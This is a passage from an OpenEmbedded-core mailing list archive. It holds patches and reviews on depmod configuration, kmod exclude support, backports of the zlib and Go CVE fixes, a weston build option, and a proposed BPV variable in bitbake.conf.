> +exec env depmod -C "\${STAGING_BASE_LIBDIR_NATIVE}/depmod.d" "\$1" "\$2"
> "\$3" "\$4"
> else
> -exec env depmod -C "\$3${sysconfdir}/depmod.d" "\$1" "\$2" "\$3" -F
> "${PKGDATA_DIR}/kernel-depmod/System.map-\$4" "\$4"
> +exec env depmod -C "\${STAGING_BASE_LIBDIR_NATIVE}/depmod.d" "\$1" "\$2"
> "\$3" -F "${PKGDATA_DIR}/kernel-depmod/System.map-\$4" "\$4"
> fi
> EOF
> chmod +x ${D}${bindir_crossscripts}/depmodwrapper
This doesn't look/feel right to me. Shouldn't we be putting this configuration
into the target depmod.d directories and using it from there? What happens if
the depmod configuration is machine/target specific?
Cheers,
Richard
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163796):
https://lists.openembedded.org/g/openembedded-core/message/163796
Mute This Topic: https://lists.openembedded.org/mt/90143169/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
[OE-core] [PATCH 2/2] depmodwrapper: Use native staging dir
Use the native staging dir so that we can get the correct depmod.d configuration
files. When depmod runs we want to ensure that the newly supported exclude.conf
is read so that .debug/.ko files are excluded.
Signed-off-by: Saul Wold
---
meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
b/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
index aa23ba41276..9921b7e8ad7 100644
--- a/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
+++ b/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
@@ -35,9 +35,9 @@ fi
if [ ! -r ${PKGDATA_DIR}/kernel-depmod/System.map-\$4 ] || [ "\$kernelabi" !=
"\$4" ]; then
echo "Unable to read: ${PKGDATA_DIR}/kernel-depmod/System.map-\$4" >&2
-exec env depmod -C "\$3${sysconfdir}/depmod.d" "\$1" "\$2" "\$3" "\$4"
+exec env depmod -C "\${STAGING_BASE_LIBDIR_NATIVE}/depmod.d" "\$1" "\$2"
"\$3" "\$4"
else
-exec env depmod -C "\$3${sysconfdir}/depmod.d" "\$1" "\$2" "\$3" -F
"${PKGDATA_DIR}/kernel-depmod/System.map-\$4" "\$4"
+exec env depmod -C "\${STAGING_BASE_LIBDIR_NATIVE}/depmod.d" "\$1" "\$2"
"\$3" -F "${PKGDATA_DIR}/kernel-depmod/System.map-\$4" "\$4"
fi
EOF
chmod +x ${D}${bindir_crossscripts}/depmodwrapper
--
2.31.1
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163794):
https://lists.openembedded.org/g/openembedded-core/message/163794
Mute This Topic: https://lists.openembedded.org/mt/90143169/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
[OE-core] [PATCH 1/2] kmod: Add an exclude directive to depmod
This adds a new configuration directive to depmod that causes
depmod to exclude a give path entry like .debug.
kernel-dbg provides the modules .debug/.ko files and
when installed either directly or when dbg-pkgs are selected
this can cause depmod to fail.
This patch will be submitted to upstream kmod.
Signed-off-by: Saul Wold
---
.../kmod/depmodwrapper-cross_1.0.bb | 3 +
...dd-support-for-excluding-a-directory.patch | 158 ++
meta/recipes-kernel/kmod/kmod_29.bb | 4 +
3 files changed, 165 insertions(+)
create mode 100644
meta/recipes-kernel/kmod/kmod/0001-depmod-Add-support-for-excluding-a-directory.patch
diff --git a/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
b/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
index 04fc14a6d21..aa23ba41276 100644
--- a/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
+++ b/meta/recipes-kernel/kmod/depmodwrapper-cross_1.0.bb
@@ -16,6 +16,9 @@ do_populate_sysroot[depends] = ""
do_install() {
install -d ${D}${bindir_crossscripts}/
+ install -d ${D}${sysconfdir}/depmod.d/
+
+ echo "exclude .debug" > ${D}${sysconfdir}/depmod.d/exclude.conf
cat > ${D}${bindir_crossscripts}/depmodwrapper << EOF
#!/bin/sh
diff --git
a/meta/recipes-kernel/kmod/kmod/0001-depmod-Add-support-for-excluding-a-directory.patch
b/meta/recipes-kernel/kmod/kmod/0001-depmod-Add-support-for-excluding-a-directory.patch
new file mode 100644
index 000..3f16cdf0574
--- /dev/null
+++
b/meta/recipes-kernel/kmod/kmod/0001-depmod-Add-support-for-excluding-a-directory.patch
@@ -0,0 +1,158 @@
+From 8bc07c3ba3a412bd6bb94ad8bad0d76801ec2c9f Mon Sep 17 00:00:00 2001
+From: Saul Wold
+Date: Tue, 22 Mar 2022 12:11:45 -0700
+Subject: [PATCH] depmod: Add support for excluding a directory
+
+This adds support to depmod to enable a new exclude directive in
+the depmod.d/exclude.conf configuration file. Currently depmod
+already excludes directories named source or build. This change
+will allow additional directories like .debug to be excluded also
+via a new exclude directive.
+
+depmod.d/exclude.conf example:
+exclude.debug
+
+Upstream-Status: Submitted
+
+Signed-off-by: Saul Wold
+
+%% original patch: 0001-depmod-Add-support-for-excluding-a-directory.patch
+---
+ man/depmod.d.xml | 14 +
+ tools/depmod.c | 54
+ 2 files changed, 68 insertions(+)
+
+diff --git a/man/depmod.d.xml b/man/depmod.d.xml
+index b315e93..9ab790a 100644
+--- a/man/depmod.d.xml
b/man/depmod.d.xml
+@@ -131,6 +131,20 @@
+
+
+
++
++external excludedir
++
++
++
++This specifies the trailing directories that will be excluded
++during the search for kernel modules.
++
++
++ The excludedir the trailing directory
++ to exclude
++
++
++
+
+
+
+diff --git a/tools/depmod.c b/tools/depmod.c
+index eb810b8..8b19ab6 100644
+--- a/tools/depmod.c
b/tools/depmod.c
+@@ -458,6 +458,12 @@ struct cfg_external {
+ char path[];
+ };
+
++struct cfg_exclude {
++ struct cfg_exclude *next;
++ size_t len;
++ char exclude_dir[];
++};
++
+ struct cfg {
+ const char *kversion;
+ char dirname[PATH_MAX];
+@@ -469,6 +475,7 @@ struct cfg {
+ struct cfg_override *overrides;
+ struct cfg_search *searches;
+ struct cfg_external *externals;
++ struct cfg_exclude *excludes;
+ };
+
+ static enum search_type cfg_define_search_type(const char *path)
+@@ -580,6 +587,31 @@ static void cfg_external_free(struct cfg_external *ext)
+ free(ext);
+ }
+
++static int cfg_exclude_add(struct cfg *cfg, const char *path)
++{
++ struct cfg_exclude *exc;
++ size_t len = strlen(path);
++
++ exc = malloc(sizeof(struct cfg_exclude) + len);
++ if (exc == NULL) {
++ ERR("exclude add: out of memory\n");
++ return -ENOMEM;
++ }
++ exc->len = len;
++ memcpy(exc->exclude_dir, path, len);
++
++ DBG("exclude add: %s\n", path);
++
++ exc->next = cfg->excludes;
++ cfg->excludes = exc;
++ return 0;
++}
++
++static void cfg_exclude_free(struct cfg_exclude *exc)
++{
++ free(exc);
++}
++
+ static int cfg_kernel_matches(const struct cfg *cfg, const char *pattern)
+ {
+ regex_t re;
+@@ -657,6 +689,11 @@ static int cfg_file_parse(struct cfg *cfg, const char
*filename)
+ }
+
+ cfg_external_add(cfg, dir);
++ } else if (streq(cmd, "exclude")) {
++ const char *sp;
++ while ((sp = strtok_r(NULL, "\t ", &saveptr)) != NULL) {
++ cfg_exclude_add(cfg, sp);
++ }
+ } else if (streq(cmd, "include")
+ || streq(cmd, "make_map_files")) {
+
Re: [OE-core] [PATCH][dunfell] zlib: backport the fix for CVE-2018-25032
Hm, turns out I was being too clever back in 2019.
Anuj: the quick fix is to not use :prepend/:remove to manipulate
SRC_URI, but just override it entirely. You won't get the CVE but
that will be flagged in scans and you (or even better,the fork
maintainer) can rebase the CVE patch.
As this is a fairly important CVE I'm tempted to say we merge to
oe-core dunfell now and let meta-intel catch up...
Ross
On Tue, 29 Mar 2022 at 20:49, Steve Sakoman wrote:
>
> On Tue, Mar 29, 2022 at 3:07 AM Ross Burton wrote:
> >
> > Signed-off-by: Ross Burton
> > ---
> > .../zlib/zlib/CVE-2018-25032.patch| 347 ++
>
> This breaks dunfell meta-intel:
>
> ERROR: Applying patch 'CVE-2018-25032.patch' on target directory
> 'TOPDIR/tmp/work/corei7-64-poky-linux/zlib-intel/1.2.11.1.jtkv6.3-r0/git'
> Command Error: 'quilt --quiltrc
> TOPDIR/tmp/work/corei7-64-poky-linux/zlib-intel/1.2.11.1.jtkv6.3-r0/recipe-sysroot-native/etc/quiltrc
> push' exited with 0 Output:
> Applying patch CVE-2018-25032.patch
> patching file deflate.c
> Hunk #1 succeeded at 237 (offset -18 lines).
> Hunk #2 succeeded at 319 (offset -5 lines).
> Hunk #3 succeeded at 368 (offset -5 lines).
> Hunk #4 succeeded at 590 (offset 1 line).
> Hunk #5 succeeded at 1162 (offset 12 lines).
> Hunk #6 succeeded at 1181 (offset 12 lines).
> Hunk #7 succeeded at 1195 (offset 12 lines).
> Hunk #8 succeeded at 1957 (offset -2 lines).
> Hunk #9 succeeded at 1996 (offset -94 lines).
> Hunk #10 FAILED at 2165.
> Hunk #11 FAILED at 2204.
> 2 out of 11 hunks FAILED -- rejects in file deflate.c
> patching file deflate.h
> Hunk #1 succeeded at 230 (offset 13 lines).
> Hunk #2 succeeded at 252 (offset 13 lines).
> Hunk #3 succeeded at 339 (offset 19 lines).
> patching file trees.c
> Hunk #1 succeeded at 343 (offset -73 lines).
> Hunk #2 succeeded at 875 (offset -73 lines).
> Hunk #3 succeeded at 944 (offset -73 lines).
> Hunk #4 succeeded at 961 (offset -73 lines).
> Hunk #5 succeeded at 974 (offset -73 lines).
> Hunk #6 succeeded at 1006 (offset -73 lines).
> Patch CVE-2018-25032.patch does not apply (enforce with -f)
>
> Steve
>
> > meta/recipes-core/zlib/zlib_1.2.11.bb | 1 +
> > 2 files changed, 348 insertions(+)
> > create mode 100644 meta/recipes-core/zlib/zlib/CVE-2018-25032.patch
> >
> > diff --git a/meta/recipes-core/zlib/zlib/CVE-2018-25032.patch
> > b/meta/recipes-core/zlib/zlib/CVE-2018-25032.patch
> > new file mode 100644
> > index 000..5cb61836419
> > --- /dev/null
> > +++ b/meta/recipes-core/zlib/zlib/CVE-2018-25032.patch
> > @@ -0,0 +1,347 @@
> > +CVE: CVE-2018-25032
> > +Upstream-Status: Backport
> > +Signed-off-by: Ross Burton
> > +
> > +From 5c44459c3b28a9bd3283aaceab7c615f8020c531 Mon Sep 17 00:00:00 2001
> > +From: Mark Adler
> > +Date: Tue, 17 Apr 2018 22:09:22 -0700
> > +Subject: [PATCH] Fix a bug that can crash deflate on some input when using
> > + Z_FIXED.
> > +
> > +This bug was reported by Danilo Ramos of Eideticom, Inc. It has
> > +lain in wait 13 years before being found! The bug was introduced
> > +in zlib 1.2.2.2, with the addition of the Z_FIXED option. That
> > +option forces the use of fixed Huffman codes. For rare inputs with
> > +a large number of distant matches, the pending buffer into which
> > +the compressed data is written can overwrite the distance symbol
> > +table which it overlays. That results in corrupted output due to
> > +invalid distances, and can result in out-of-bound accesses,
> > +crashing the application.
> > +
> > +The fix here combines the distance buffer and literal/length
> > +buffers into a single symbol buffer. Now three bytes of pending
> > +buffer space are opened up for each literal or length/distance
> > +pair consumed, instead of the previous two bytes. This assures
> > +that the pending buffer cannot overwrite the symbol table, since
> > +the maximum fixed code compressed length/distance is 31 bits, and
> > +since there are four bytes of pending space for every three bytes
> > +of symbol space.
> > +---
> > + deflate.c | 74 ---
> > + deflate.h | 25 +--
> > + trees.c | 50 +++--
> > + 3 files changed, 79 insertions(+), 70 deletions(-)
> > +
> > +diff --git a/deflate.c b/deflate.c
> > +index 425babc00..19cba873a 100644
> > +--- a/deflate.c
> > b/deflate.c
> > +@@ -255,11 +255,6 @@ int ZEXPORT deflateInit2_(strm, level, method,
> > windowBits, memLevel, strategy,
> > + int wrap = 1;
> > + static const char my_version[] = ZLIB_VERSION;
> > +
> > +-ushf *overlay;
> > +-/* We overlay pending_buf and d_buf+l_buf. This works since the
> > average
> > +- * output size for (length,distance) codes is <= 24 bits.
> > +- */
> > +-
> > + if (version == Z_NULL || version[0] != my_version[0] ||
> > + stream_size != sizeof(z_stream)) {
> > + return Z_VERSION_ERROR;
> > +@@ -329,9 +324,47 @@ int ZEXPORT deflateInit2_(strm, leve
[OE-core] [PATCH] weston: Add a knob to control simple clients
Some graphics driver implementations ( e.g sgx ) do not yet support APIs from
mesa
21.x, and some portions of weston simple clients depend on these APIs,
therefore introduce a way to specify all or a selection fo clients to
build
Fixes
clients/weston-simple-dmabuf-feedback.p/simple-dmabuf-
feedback.c.o: in function `create_dmabuf_buffer':
| simple-dmabuf-feedback.c:(.text+0x1076): undefined reference to
`gbm_bo_get_fd_for_plane'
Signed-off-by: Khem Raj
---
meta/recipes-graphics/wayland/weston_10.0.0.bb | 5 -
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/meta/recipes-graphics/wayland/weston_10.0.0.bb
b/meta/recipes-graphics/wayland/weston_10.0.0.bb
index 8424b4d5482..93f7b596594 100644
--- a/meta/recipes-graphics/wayland/weston_10.0.0.bb
+++ b/meta/recipes-graphics/wayland/weston_10.0.0.bb
@@ -45,6 +45,9 @@ PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES',
'wayland', 'kms wayla
shell-fullscreen \
shell-ivi"
+# Can be 'damage', 'im', 'egl', 'shm', 'touch', 'dmabuf-feedback',
'dmabuf-v4l', 'dmabuf-egl' or 'all'
+SIMPLECLIENTS ?= "all"
+
#
# Compositor choices
#
@@ -77,7 +80,7 @@ PACKAGECONFIG[xwayland] = "-Dxwayland=true,-Dxwayland=false"
# colord CMS support
PACKAGECONFIG[colord] =
"-Dcolor-management-colord=true,-Dcolor-management-colord=false,colord"
# Clients support
-PACKAGECONFIG[clients] = "-Dsimple-clients=all
-Ddemo-clients=true,-Dsimple-clients= -Ddemo-clients=false"
+PACKAGECONFIG[clients] = "-Dsimple-clients=${SIMPLECLIENTS}
-Ddemo-clients=true,-Dsimple-clients= -Ddemo-clients=false"
# Virtual remote output with GStreamer on DRM backend
PACKAGECONFIG[remoting] = "-Dremoting=true,-Dremoting=false,gstreamer1.0
gstreamer1.0-plugins-base"
# Weston with screen-share support
--
2.35.1
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163792):
https://lists.openembedded.org/g/openembedded-core/message/163792
Mute This Topic: https://lists.openembedded.org/mt/90137568/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
Re: [oe-core][dunfell][PATCH] go: backport patch fix for CVE-2021-38297
On Wed, Mar 30, 2022 at 6:16 AM Steve Sakoman via
lists.openembedded.org
wrote:
>
> Unfortunately this patch doesn't seem to apply:
>
> Applying: go: backport patch fix for CVE-2021-38297
> Using index info to reconstruct a base tree...
> M meta/recipes-devtools/go/go-1.14.inc
> .git/rebase-apply/patch:73: space before tab in indent.
> offset += 8;
> .git/rebase-apply/patch:74: space before tab in indent.
> });
> .git/rebase-apply/patch:75: trailing whitespace.
>
> .git/rebase-apply/patch:83: space before tab in indent.
> this._inst.exports.run(argc, argv);
> .git/rebase-apply/patch:84: space before tab in indent.
> if (this.exited) {
> warning: squelched 13 whitespace errors
> warning: 18 lines add whitespace errors.
> Falling back to patching base and 3-way merge...
> Auto-merging meta/recipes-devtools/go/go-1.14.inc
> CONFLICT (content): Merge conflict in meta/recipes-devtools/go/go-1.14.inc
> error: Failed to merge in the changes.
> Patch failed at 0001 go: backport patch fix for CVE-2021-38297
> hint: Use 'git am --show-current-patch' to see the failed patch
> When you have resolved this problem, run "git am --continue".
> If you prefer to skip this patch, run "git am --skip" instead.
> To restore the original branch and stop patching, run "git am --abort".
>
> It appears that you haven't based your patch on the current dunfell
> head -- you seem to be missing a couple of go CVE patches from last
> month!
And once I fixed the above issue the build failed:
ERROR: go-native-1.14.15-r0 do_compile: Execution of
'/home/steve/builds/poky-contrib/build/tmp/work/x86_64-linux/go-native/1.14.15-r0/temp/run.do_compile.2927597'
failed with exit code 2
ERROR: Logfile of failure stored in:
/home/steve/builds/poky-contrib/build/tmp/work/x86_64-linux/go-native/1.14.15-r0/temp/log.do_compile.2927597
Log data follows:
| DEBUG: Executing shell function do_compile
| Building Go cmd/dist using
/home/steve/builds/poky-contrib/build/tmp/work/x86_64-linux/go-native/1.14.15-r0/go1.4/go.
(go1.4-bootstrap-20170531 linux/amd64)
| Building Go toolchain1 using
/home/steve/builds/poky-contrib/build/tmp/work/x86_64-linux/go-native/1.14.15-r0/go1.4/go.
| # bootstrap/cmd/link/internal/ld
|
/home/steve/builds/poky-contrib/build/tmp/work/x86_64-linux/go-native/1.14.15-r0/go/src/cmd/link/internal/ld/data.go:2194[/home/steve/builds/poky-contrib/build/tmp/work/x86_64-linux/go-native/1.14.15-r0/go/pkg/bootstrap/src/bootstrap/cmd/link/internal/ld/data.go:2198]:
ctxt.IsWasm undefined (type *Link has no field or method IsWasm)
| go tool dist: FAILED:
/home/steve/builds/poky-contrib/build/tmp/work/x86_64-linux/go-native/1.14.15-r0/go1.4/go/bin/go
install -gcflags=-l -tags=math_big_pure_go compiler_bootstrap
bootstrap/cmd/...: exit status 2
| WARNING:
/home/steve/builds/poky-contrib/build/tmp/work/x86_64-linux/go-native/1.14.15-r0/temp/run.do_compile.2927597:1
exit 2 from './make.bash --no-banner'
| ERROR: Execution of
'/home/steve/builds/poky-contrib/build/tmp/work/x86_64-linux/go-native/1.14.15-r0/temp/run.do_compile.2927597'
failed with exit code 2
ERROR: Task
(/home/steve/builds/poky-contrib/meta/recipes-devtools/go/go-native_1.14.bb:do_compile)
failed with exit code '1'
NOTE: Tasks Summary: Attempted 548 tasks of which 527 didn't need to
be rerun and 1 failed.
So it definitely looks like a v2 is required!
> Steve
>
> On Wed, Mar 30, 2022 at 5:50 AM Davide Gardenal
> wrote:
> >
> > Patch taken from
> > https://github.com/golang/go/commit/4548fcc8dfd933c237f29bba6f90040a85922564
> > from the following issue
> > https://github.com/golang/go/issues/48797
> >
> > Original repo
> > https://go.googlesource.com/go/+/77f2750f4398990eed972186706f160631d7dae4
> >
> > Signed-off-by: Davide Gardenal
> > ---
> > meta/recipes-devtools/go/go-1.14.inc | 1 +
> > .../go/go-1.14/CVE-2021-38297.patch | 94 +++
> > 2 files changed, 95 insertions(+)
> > create mode 100644 meta/recipes-devtools/go/go-1.14/CVE-2021-38297.patch
> >
> > diff --git a/meta/recipes-devtools/go/go-1.14.inc
> > b/meta/recipes-devtools/go/go-1.14.inc
> > index abc6f42184..947f1798ee 100644
> > --- a/meta/recipes-devtools/go/go-1.14.inc
> > +++ b/meta/recipes-devtools/go/go-1.14.inc
> > @@ -19,6 +19,7 @@ SRC_URI += "\
> > file://CVE-2021-34558.patch \
> > file://CVE-2021-33196.patch \
> > file://CVE-2021-33197.patch \
> > +file://CVE-2021-38297.patch \
> > "
> > SRC_URI_append_libc-musl = "
> > file://0009-ld-replace-glibc-dynamic-linker-with-musl.patch"
> > SRC_URI[main.sha256sum] =
> > "7ed13b2209e54a451835997f78035530b331c5b6943cdcd68a3d815fdc009149"
> > diff --git a/meta/recipes-devtools/go/go-1.14/CVE-2021-38297.patch
> > b/meta/recipes-devtools/go/go-1.14/CVE-2021-38297.patch
> > new file mode 100644
> > index 00..0b5d0b591e
> > --- /dev/null
> > +++ b/meta/recipes-devtools/go/go-1.14/CVE-2021-38297.patch
> > @@ -0,0 +1,94 @@
> > +From 4548fcc8dfd933c237f29bba6f90040a85922564 Mon Sep 17 00:00:0
Re: [OE-core] [RFC PATCH] bitbake.conf: Add base package version (BPV) variable
On Wed, Mar 30, 2022 at 1:16 AM Stefan Herbrechtsmeier
wrote:
>
> From: Stefan Herbrechtsmeier
>
> Add a base package version (BPV) variable and use it as default for the
> package version (PV) variable. The BPV variable contains the base
> package version of the recipe read from the recipe filename.
>
> The base package version variable supports an expansion of the version
> from the recipe filename without the need of an immediate variable
> expansion:
> PV = "${BPV}+git${SRCPV}"
>
> It allows the inclusion of include files inside a recipe file with the
> same version in the recipe and include filename even if the package
> version is different to the base package version in the filename:
> require linux-yocto-${BPV}.inc
>
how many such usecase do we have ? seems to be quite errorprone too.
> Signed-off-by: Stefan Herbrechtsmeier
>
> ---
>
> meta/conf/bitbake.conf | 3 ++-
> 1 file changed, 2 insertions(+), 1 deletion(-)
>
> diff --git a/meta/conf/bitbake.conf b/meta/conf/bitbake.conf
> index 7705415a4f..d56cf811ba 100644
> --- a/meta/conf/bitbake.conf
> +++ b/meta/conf/bitbake.conf
> @@ -232,7 +232,8 @@ ASSUME_PROVIDED = "\
> ##
>
> PN = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[0] or
> 'defaultpkgname'}"
> -PV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
> +BPV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
> +PV = "${BPV}"
> PR = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[2] or 'r0'}"
> PE = ""
> PF = "${PN}-${EXTENDPE}${PV}-${PR}"
> --
> 2.30.2
>
>
>
>
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163790):
https://lists.openembedded.org/g/openembedded-core/message/163790
Mute This Topic: https://lists.openembedded.org/mt/90127138/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
Re: [OE-core] [RFC PATCH] bitbake.conf: Add base package version (BPV) variable
Hi Richard,
Am 30.03.2022 um 13:51 schrieb Richard Purdie:
On Wed, 2022-03-30 at 10:16 +0200, Stefan Herbrechtsmeier wrote:
From: Stefan Herbrechtsmeier
Add a base package version (BPV) variable and use it as default for the
package version (PV) variable. The BPV variable contains the base
package version of the recipe read from the recipe filename.
The base package version variable supports an expansion of the version
from the recipe filename without the need of an immediate variable
expansion:
PV = "${BPV}+git${SRCPV}"
It allows the inclusion of include files inside a recipe file with the
same version in the recipe and include filename even if the package
version is different to the base package version in the filename:
require linux-yocto-${BPV}.inc
Signed-off-by: Stefan Herbrechtsmeier
---
meta/conf/bitbake.conf | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/meta/conf/bitbake.conf b/meta/conf/bitbake.conf
index 7705415a4f..d56cf811ba 100644
--- a/meta/conf/bitbake.conf
+++ b/meta/conf/bitbake.conf
@@ -232,7 +232,8 @@ ASSUME_PROVIDED = "\
##
PN = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[0] or 'defaultpkgname'}"
-PV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
+BPV = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[1] or '1.0'}"
+PV = "${BPV}"
PR = "${@bb.parse.vars_from_file(d.getVar('FILE', False),d)[2] or 'r0'}"
PE = ""
PF = "${PN}-${EXTENDPE}${PV}-${PR}"
I'm not really seeing a compelling use case for what is a fairly core change,
you've not really said why we need changes and what the big win is for users.
binutils_2.32.bb:
require binutils-${PV}.inc
binutils-2.32.inc:
PV = "2.32.0"
CVE_VERSION = "2.32"
cdrtools-native_3.01.bb:
PV = "3.01a31+really3.01"
REALPV = "3.01"
S = "${WORKDIR}/${BPN}-${REALPV}"
gcc-cross_8.3.bb:
require recipes-devtools/gcc/gcc-${PV}.inc
gcc-8.3.inc:
PV = "8.3.0"
gdk-pixbuf_2.38.0.bb:
MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
util-linux.inc:
MAJOR_VERSION = "${@'.'.join(d.getVar('PV').split('.')[0:2])}"
Does the binutils and gcc-cross trick works inside a bbappend? The other
examples could benefit from a variable.
I'm also quite worried that this behaves quite differently to BPN. "base" in the
case of PN means strip off prefixes and suffixes yet here, BPV doesn't actually
strip anything off PV, you're just expected to set it differently yourself as
the user. The different usage semantics will likely confuse people and that
confusion isn't worth it IMO.
BPV = "${@oe.utils.trim_version("${PV}", 3)}"
This would make it inline with the BPN but disallow the usage of the
variable inside the PV itself.
Until now I don't know the oe.utils.trim_version function.
Regards
Stefan
-=-=-=-=-=-=-=-=-=-=-=-
Links: You receive all messages sent to this group.
View/Reply Online (#163789):
https://lists.openembedded.org/g/openembedded-core/message/163789
Mute This Topic: https://lists.openembedded.org/mt/90127138/21656
Group Owner: openembedded-core+ow...@lists.openembedded.org
Unsubscribe: https://lists.openembedded.org/g/openembedded-core/unsub
[arch...@mail-archive.com]
-=-=-=-=-=-=-=-=-=-=-=-
Re: [oe-core][dunfell][PATCH] go: backport patch fix for CVE-2021-38297
Unfortunately this patch doesn't seem to apply:
Applying: go: backport patch fix for CVE-2021-38297
Using index info to reconstruct a base tree...
M meta/recipes-devtools/go/go-1.14.inc
.git/rebase-apply/patch:73: space before tab in indent.
offset += 8;
.git/rebase-apply/patch:74: space before tab in indent.
});
.git/rebase-apply/patch:75: trailing whitespace.
.git/rebase-apply/patch:83: space before tab in indent.
this._inst.exports.run(argc, argv);
.git/rebase-apply/patch:84: space before tab in indent.
if (this.exited) {
warning: squelched 13 whitespace errors
warning: 18 lines add whitespace errors.
Falling back to patching base and 3-way merge...
Auto-merging meta/recipes-devtools/go/go-1.14.inc
CONFLICT (content): Merge conflict in meta/recipes-devtools/go/go-1.14.inc
error: Failed to merge in the changes.
Patch failed at 0001 go: backport patch fix for CVE-2021-38297
hint: Use 'git am --show-current-patch' to see the failed patch
When you have resolved this problem, run "git am --continue".
If you prefer to skip this patch, run "git am --skip" instead.
To restore the original branch and stop patching, run "git am --abort".
It appears that you haven't based your patch on the current dunfell
head -- you seem to be missing a couple of go CVE patches from last
month!
Steve
On Wed, Mar 30, 2022 at 5:50 AM Davide Gardenal
wrote:
>
> Patch taken from
> https://github.com/golang/go/commit/4548fcc8dfd933c237f29bba6f90040a85922564
> from the following issue
> https://github.com/golang/go/issues/48797
>
> Original repo
> https://go.googlesource.com/go/+/77f2750f4398990eed972186706f160631d7dae4
>
> Signed-off-by: Davide Gardenal
> ---
> meta/recipes-devtools/go/go-1.14.inc | 1 +
> .../go/go-1.14/CVE-2021-38297.patch | 94 +++
> 2 files changed, 95 insertions(+)
> create mode 100644 meta/recipes-devtools/go/go-1.14/CVE-2021-38297.patch
>
> diff --git a/meta/recipes-devtools/go/go-1.14.inc
> b/meta/recipes-devtools/go/go-1.14.inc
> index abc6f42184..947f1798ee 100644
> --- a/meta/recipes-devtools/go/go-1.14.inc
> +++ b/meta/recipes-devtools/go/go-1.14.inc
> @@ -19,6 +19,7 @@ SRC_URI += "\
> file://CVE-2021-34558.patch \
> file://CVE-2021-33196.patch \
> file://CVE-2021-33197.patch \
> +file://CVE-2021-38297.patch \
> "
> SRC_URI_append_libc-musl = "
> file://0009-ld-replace-glibc-dynamic-linker-with-musl.patch"
> SRC_URI[main.sha256sum] =
> "7ed13b2209e54a451835997f78035530b331c5b6943cdcd68a3d815fdc009149"
> diff --git a/meta/recipes-devtools/go/go-1.14/CVE-2021-38297.patch
> b/meta/recipes-devtools/go/go-1.14/CVE-2021-38297.patch
> new file mode 100644
> index 00..0b5d0b591e
> --- /dev/null
> +++ b/meta/recipes-devtools/go/go-1.14/CVE-2021-38297.patch
> @@ -0,0 +1,94 @@
> +From 4548fcc8dfd933c237f29bba6f90040a85922564 Mon Sep 17 00:00:00 2001
> +From: Michael Knyszek
> +Date: Thu, 2 Sep 2021 16:51:59 -0400
> +Subject: [PATCH] [release-branch.go1.16] misc/wasm, cmd/link: do not let
> + command line args overwrite global data
> +
> +On Wasm, wasm_exec.js puts command line arguments at the beginning
> +of the linear memory (following the "zero page"). Currently there
> +is no limit for this, and a very long command line can overwrite
> +the program's data section. Prevent this by limiting the command
> +line to 4096 bytes, and in the linker ensuring the data section
> +starts at a high enough address (8192).
> +
> +(Arguably our address assignment on Wasm is a bit confusing. This
> +is the minimum fix I can come up with.)
> +
> +Thanks to Ben Lubar for reporting this issue.
> +
> +Change by Cherry Mui .
> +
> +For #48797
> +Fixes #48799
> +Fixes CVE-2021-38297
> +
> +Change-Id: I0f50fbb2a5b6d0d047e3c134a88988d9133e4ab3
> +Reviewed-on:
> https://team-review.git.corp.google.com/c/golang/go-private/+/1205933
> +Reviewed-by: Roland Shoemaker
> +Reviewed-by: Than McIntosh
> +Reviewed-on: https://go-review.googlesource.com/c/go/+/354591
> +Trust: Michael Knyszek
> +Reviewed-by: Heschi Kreinick
> +
> +CVE: CVE-2021-38297
> +
> +Upstream-Status: Backport:
> +https://github.com/golang/go/commit/4548fcc8dfd933c237f29bba6f90040a85922564
> +
> +Signed-off-by: Davide Gardenal
> +---
> + misc/wasm/wasm_exec.js | 7 +++
> + src/cmd/link/internal/ld/data.go | 11 ++-
> + 2 files changed, 17 insertions(+), 1 deletion(-)
> +
> +diff --git a/misc/wasm/wasm_exec.js b/misc/wasm/wasm_exec.js
> +index 82041e6bb901..a0a264278b1b 100644
> +--- a/misc/wasm/wasm_exec.js
> b/misc/wasm/wasm_exec.js
> +@@ -564,6 +564,13 @@
> + offset += 8;
> + });
> +
> ++ // The linker guarantees global data starts from at
> least wasmMinDataAddr.
> ++ // Keep in sync with
> cmd/link/internal/ld/data.go:wasmMinDataAddr.
> ++ const wasmMinDataAddr = 4096 + 4096;
